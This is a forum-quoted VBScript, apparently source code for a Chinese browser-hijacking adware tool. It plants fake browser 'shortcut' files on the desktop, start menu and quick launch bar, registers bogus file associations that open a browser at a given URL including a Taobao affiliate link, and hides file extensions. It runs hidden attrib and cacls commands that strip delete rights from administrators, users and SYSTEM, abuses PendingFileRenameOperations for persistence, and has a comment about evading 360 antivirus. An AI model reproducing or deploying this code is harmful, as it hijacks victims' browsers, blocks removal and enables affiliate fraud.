[quote]'判断指定进程是否存在
Public Function IsExeExist(exeName)
IsExeExist=false
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = '" & exeName & ".exe'")
For Each objProcess in colProcessList
if objProcess.executablepath<>"" then
IsExeExist=true
end if
Next
End Function
'进行Url加密(不需要http://)
Public Function DnsUrlEncrypt(str)
Dim hexStr, temp, i '16进制字符串
For i = 1 To Len(str)
temp = Mid(str, i, 1)
temp = Hex(Asc(temp))
temp = temp
hexStr = hexStr & "%" & temp
Next
DnsUrlEncrypt = hexStr
Exit Function
End Function
'合并两个数组
Function Summ(a1,a2)
Dim str1,str2,str3
str1 = join(a1,",")
str2 = join(a2,",")
str3 = str1 + "," + str2
summ = split(str3,",")
'过滤smss.exe
'过滤脚本,防止360让他下次删除
End Function
'生成干扰码,参数:1、类型(0,混合 1字符 2数字) 2、长度
'错误返回:空字符
Public Function yunj(st, length)
sj=""
mt=now
mh=Hour(mt)
mm=Minute(mt)
ms=Second(mt)
a=(mh*ms) mod 25+97
b=(mh*mm) mod 25+97
c=(ms*mm) mod 25+97
sj=chr(a)+chr(b)+chr(c)
yunj = sj
End Function
'获取浏览器路径
Public Function GetWebBrowserPath()
On Error Resume Next
'更改盘符路径
Set Environ = ws.Environment("process")
dim iePath
iePath=BROWSER_PATH
If Dir(iePath)="" Then '如果路径不存在则更换盘符
iePath = Environ("systemdrive") & Mid(iePath, 3, Len(iePath))
If Dir(iePath)<>"" Then
GetWebBrowserPath=iePath
Exit Function
End If
else
GetWebBrowserPath=iePath
Exit Function
End If
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
'路径集合,对路径集合进行遍历
Dim lnkPath(7)
lnkPath(1) = pcDesktopPath
lnkPath(2) = quickLaunch
lnkPath(3) = programs
lnkPath(4) = startMenu
lnkPath(5) = allUsersPcDesktopPath
lnkPath(6) = allUsersPrograms
lnkPath(7) = allUsersStartMenu
Set fso = CreateObject("Scripting.FileSystemObject")
Dim directory
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "iexplore.exe") Then 'IE浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "maxthon.exe") Then '遨游浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
If not fso.FileExists(iePath) Then
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
'循环目录进行修改
directory = lnkPath(i)
'替换当前用户快速启动快捷方式
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie in fc
myName = directory + "\" + flie.name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "360se.exe") Then '360浏览器
if oShellLink.TargetPath<>"" then
iePath=oShellLink.TargetPath
GetWebBrowserPath=iePath
Exit Function
end if
end if
end if
Next
Next
End If
End Function
'加载浏览器路径
Private Sub LoadAllBrowserPath()
On Error Resume Next
Set ws = CreateObject("WScript.Shell")
Set Environ = ws.Environment("process")
Set fso = CreateObject("Scripting.FileSystemObject")
iePath = BROWSER_PATH
If not fso.FileExists(iePath) Then '如果路径不存在则更换盘符
iePath = Environ("systemdrive") & Mid(iePath, 3, Len(iePath))
End If
maxPath = MAX_BROWSER_PATH
If not fso.FileExists(maxPath) Then '如果路径不存在则更换盘符
maxPath = Environ("systemdrive") & Mid(maxPath, 3, Len(maxPath))
End If
sePath = SE_BROWSER_PATH
If not fso.FileExists(sePath) Then '如果路径不存在则更换盘符
sePath = Environ("systemdrive") & Mid(sePath, 3, Len(sePath))
End If
foxPath = FOX_BROWSER_PATH
If not fso.FileExists(foxPath) Then '如果路径不存在则更换盘符
foxPath = Environ("systemdrive") & Mid(foxPath, 3, Len(foxPath))
End If
sogouPath = SOGOU_BROWSER_PATH
If not fso.FileExists(sogouPath) Then '如果路径不存在则更换盘符
sogouPath = Environ("systemdrive") & Mid(sogouPath, 3, Len(sogouPath))
End If
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
'路径集合,对路径集合进行遍历
Dim lnkPath(7)
lnkPath(1) = pcDesktopPath
lnkPath(2) = quickLaunch
lnkPath(3) = programs
lnkPath(4) = startMenu
lnkPath(5) = allUsersPcDesktopPath
lnkPath(6) = allUsersPrograms
lnkPath(7) = allUsersStartMenu
Dim directory
If not fso.FileExists(iePath) Then
iePath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "iexplore.exe") Then 'IE浏览器
If oShellLink.TargetPath <> "" Then
iePath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(maxPath) Then
maxPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "maxthon.exe") Then '遨游浏览器
If oShellLink.TargetPath <> "" Then
maxPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(sePath) Then
sePath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "360se.exe") Then '360浏览器
If oShellLink.TargetPath <> "" Then
sePath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(foxPath) Then
foxPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "firefox.exe") Then '火狐浏览器
If oShellLink.TargetPath <> "" Then
foxPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
If not fso.FileExists(sogouPath) Then
sogouPath=""
For i = LBound(lnkPath) + 1 To UBound(lnkPath)
directory = lnkPath(i)
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFolder(directory)
Set fc = f.Files
For Each flie In fc
myName = directory + "\" + flie.Name
If InStr(myName, ".lnk") <> 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set oShellLink = wshShell.CreateShortcut(myName)
If LCase(oShellLink.TargetPath) = LCase(GetDirectoryPath(oShellLink.TargetPath) & "SogouExplorer.exe") Then '搜狗浏览器
If oShellLink.TargetPath <> "" Then
sogouPath = oShellLink.TargetPath
Exit For
End If
End If
End If
Next
Next
End If
End Sub
'创建关联文件,参数:URL地址,类型(0 不创建淘网址 1 创建一次淘网址)
Private Sub CreateFileLnk(url,createType)
On Error Resume Next
Dim wshShell, oShellLink
Dim strDesktop, pcDesktopPath, quickLaunch, strQuickLaunch, programs, startMenu
Set wshShell = CreateObject("Wscript.shell")
pcDesktopPath = wshShell.SpecialFolders("Desktop") '当前用户桌面目录
quickLaunch = wshShell.SpecialFolders("AppData") & "\Microsoft\Internet Explorer\Quick Launch" '当前用户快速启动桌面操作目录
programs = wshShell.SpecialFolders("Programs") '当前用户开始菜单中的程序目录
startMenu = wshShell.SpecialFolders("StartMenu") '当前用户开始菜单最上面的目录
Dim allUsersPcDesktopPath, allQuickLaunch, allUsersPrograms, allUsersStartMenu
allUsersPcDesktopPath = wshShell.SpecialFolders("AllUsersDesktop") '全部用户桌面目录
allUsersPrograms = wshShell.SpecialFolders("AllUsersPrograms") '全部用户开始菜单中的程序目录
allUsersStartMenu = wshShell.SpecialFolders("AllUsersStartMenu") '全部用户开始菜单最上面的目录
Set wshj = WScript.CreateObject("WScript.Shell")
sdp = wshj.SpecialFolders("Desktop") '特殊文件夹“桌面” C:\Documents and Settings\Administrator\桌面\
skkkkk=left(sdp,len(sdp)-2)+"「开始」菜单" '菜单
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(iePath) And iePath<>"" Then '判断IE浏览器路径是否存在
Call CreateRelevance(".ttf", "ttf", iePath & ",0", iePath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\Internet Explorer.ttf")
End If
If Not fso.FileExists(allUsersPrograms + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(allUsersPrograms + "\Internet Explorer.ttf")
End If
If Not fso.FileExists(quickLaunch + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(quickLaunch + "\Internet Explorer.ttf")
End If
If Not fso.FileExists(skkkkk + "\Internet Explorer.ttf") Then
Call CreateNoDeleteLnk(skkkkk + "\Internet Explorer.ttf")
End If
dim tao_ico_path '淘宝图标路径
Set ws = CreateObject("WScript.Shell")
Set Environ = ws.Environment("process")
tao_ico_path="C:\Program Files\winrar\ico\tb.ico" 'Environ("windir") & "\winrar\ico"
If not fso.FileExists(tao_ico_path) Then '如果路径不存在则更换默认
tao_ico_path=iePath & ",0"
End If
Call CreateRelevance(".dib", "dib", tao_ico_path, iePath & " [url]http://pindao.huoban.taobao.com/tms/channel/onsale.htm?pid=mm_15377717_0_0&eventid=101586[/url]")
If Not fso.FileExists(allUsersPcDesktopPath + "\淘宝网购物.dib") Then
Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\淘宝网购物.dib")
End If
If Not fso.FileExists(quickLaunch + "\淘宝打折.dib") Then
Call CreateNoDeleteLnk(quickLaunch + "\淘宝打折.dib")
End If
If Not fso.FileExists(allUsersPrograms + "\淘宝热卖.dib") Then
Call CreateNoDeleteLnk(allUsersPrograms + "\淘宝热卖.dib")
End If
If Not fso.FileExists(skkkkk + "\淘宝热卖.dib") Then
Call CreateNoDeleteLnk(skkkkk + "\淘宝热卖.dib")
End If
Set ws = CreateObject("WScript.Shell")
Set Environ = ws.Environment("process")
tao_ico_path="C:\Program Files\winrar\ico\36.ico" 'Environ("windir") & "\t.ico"
If not fso.FileExists(tao_ico_path) Then '如果路径不存在则更换默认
tao_ico_path=iePath & ",0"
End If
End If
If fso.FileExists(maxPath) And maxPath<>"" Then '判断遨游浏览器路径是否存在
Call CreateRelevance(".max", "max", maxPath & ",0", maxPath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\傲游浏览器2.Max") Then
'Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\傲游浏览器2.Max")
End If
End If
If fso.FileExists(sePath) And iePath<>"" Then '判断360浏览器路径是否存在
Call CreateRelevance(".se", "se", sePath & ",0", sePath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\360安全浏览器.se") Then
'Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\360安全浏览器.se")
End If
If Not fso.FileExists(quickLaunch + "\360安全浏览器.se") Then
Call CreateNoDeleteLnk(quickLaunch + "\360安全浏览器.se")
End If
End If
If fso.FileExists(foxPath) And foxPath<>"" Then '判断火狐浏览器路径是否存在
Call CreateRelevance(".fox", "fox", foxPath & ",0", foxPath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\Mozilla Firefox.fox") Then
'Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\Mozilla Firefox.fox")
End If
End If
If fso.FileExists(sogouPath) And sogouPath<>"" Then '判断搜狗浏览器路径是否存在
Call CreateRelevance(".sou", "sou", sogouPath & "", sogouPath & " " & url)
If Not fso.FileExists(allUsersPcDesktopPath + "\搜狗高速浏览器.sou") Then
'Call CreateNoDeleteLnk(allUsersPcDesktopPath + "\搜狗高速浏览器.sou")
End If
End If
Call HideFileExtension '隐藏文件扩展名
End Sub
'创建禁止被删除的文件
Private Sub CreateNoDeleteLnk(path)
On Error Resume Next
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile(path,Ture)
TestFile.WriteLine yunj(0, 300)
TestFile.Close
Call RefusalFileDelete(path)
End Sub
'创建禁止被删除的文件
Private Sub CreateNoDeleteLnk1(path)
On Error Resume Next
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile(path,Ture)
TestFile.WriteLine yunj(0, 300)
TestFile.Close
End Sub
'禁止文件被删除(删除全部权限)
Private Sub RefusalFileDelete(path)
On Error Resume Next
Set WshShell= CreateObject("WScript.Shell")
Set wshNetwork = WScript.CreateObject("WScript.Network")
WshShell.Run ("attrib """ & path & """ +r +s"), vbHide
WshShell.Run ("cacls """ & path & """ /e /c /r Administrators"), vbHide
WshShell.Run ("cacls """ & path & """ /e /c /r Administrator"), vbHide
WshShell.Run ("cacls """ & path & """ /e /c /r users"), vbHide
WshShell.Run ("cacls """ & path & """ /e /c /r system"), vbHide
'WshShell.Run ("cacls """ & path & """ /e /c /r everyone"), vbHide
WshShell.Run ("cacls """ & path & """ /e /c /r user"), vbHide
' WshShell.Run ("cacls """ & path & """ /e /c /r """ & wshNetwork.UserName & """"), vbHide
Set WshShell = Nothing
End Sub
'隐藏文件扩展名
Private Sub HideFileExtension()
On Error Resume Next
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
oReg.CreateKey HKEY_CURRENT_USER,strKeyPath
cpa123Name = "ShowSuperHidden"
dwValue = 0
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,cpa123Name,dwValue
cpa123Name = "Hidden1"
dwValue = 2
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,cpa123Name,dwValue
cpa123Name = "HideFileExt"
dwValue = 1
oReg.SetDWORDValue HKEY_CURRENT_USER,strKeyPath,cpa123Name,dwValue
End Sub
'新建文件关联,参数:关联后缀,关联名称,icon图标路径(不修改或不创建为空),关联程序物理路径
Private Sub CreateRelevance(nameSuffix, associationName, iconPath, path)
On Error Resume Next
Const HKEY_CLASSES_ROOT = &H80000000
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
'关联后缀
strKeyPath = nameSuffix
oReg.CreateKey HKEY_CLASSES_ROOT,strKeyPath
'关联后缀
cpa123Name = ""
cpa123 = associationName
oReg.SetStringValue HKEY_CLASSES_ROOT,strKeyPath,cpa123Name,cpa123
'设置关联名称
strKeyPath = associationName
oReg.CreateKey HKEY_CLASSES_ROOT,strKeyPath
'设置关联名称
cpa123Name = ""
cpa123 = "系统文件"
oReg.SetStringValue HKEY_CLASSES_ROOT,strKeyPath,cpa123Name,cpa123
'设置关联名称
strKeyPath = associationName & "\she"&"ll\open"&"\command"
oReg.CreateKey HKEY_CLASSES_ROOT,strKeyPath
'设置关联名称
cpa123Name = ""
cpa123 = path
oReg.SetStringValue HKEY_CLASSES_ROOT,strKeyPath,cpa123Name,cpa123
If iconPath <> "" Then
'设置关联名称
strKeyPath = associationName & "\Defaul"&"tIcon"
oReg.CreateKey HKEY_CLASSES_ROOT,strKeyPath
'设置关联名称
cpa123Name = ""
cpa123 = iconPath
oReg.SetStringValue HKEY_CLASSES_ROOT,strKeyPath,cpa123Name,cpa123
End If
End Sub
'设置为自启动(特别的方式),参数:文件路径,启动目录路径
Private Sub SetRunVbe(path,runPath)
On Error Resume Next
Const HKEY_LOCAL_MACHINE = &H80000002
arrStringValues = Array(path,runPath)
'读取扩展的字符串值
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\ControlSet001\Control\Session Manager"
cpa123Name = "PendingFileRenameOperations"
oReg.GetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,_
cpa123Name,arrValues
dim isPathPresence,isRunPathPresence
isPathPresence=false
isRunPathPresence=false
temp_i=1
temp_arrValues = Array() '以前存在项的数组
For Each cpa123 In arrValues
If (InStr(cpa123, "smss.exe") = 0) Then '过滤指定文件
ReDim Preserve temp_arrValues(temp_i)
temp_arrValues(temp_i)=cpa123
temp_i=temp_i+1
End If
if cpa123=path then '存在
isPathPresence=true
end if
if cpa123=runPath then '存在
isRunPathPresence=true
end if
Next
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
'没有就创建该项
strKeyPath = "SYSTEM\ControlSet001\Control\Session Manager"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
'写入注册表项
cpa123Name = "PendingFileRenameOperations"
If not isNull(arrValues) Then '存在数据则追加,合并数组
arrStringValues=Summ(arrValues,arrStringValues) '两个数组合并
End If
if isPathPresence=false then'判断源程序是否存在,不存在则写入
oReg.SetMultiStringValue HKEY_LOCAL_MACHINE,strKeyPath,cpa123Name,arrStringValues
end if
End Sub
[/quote]
|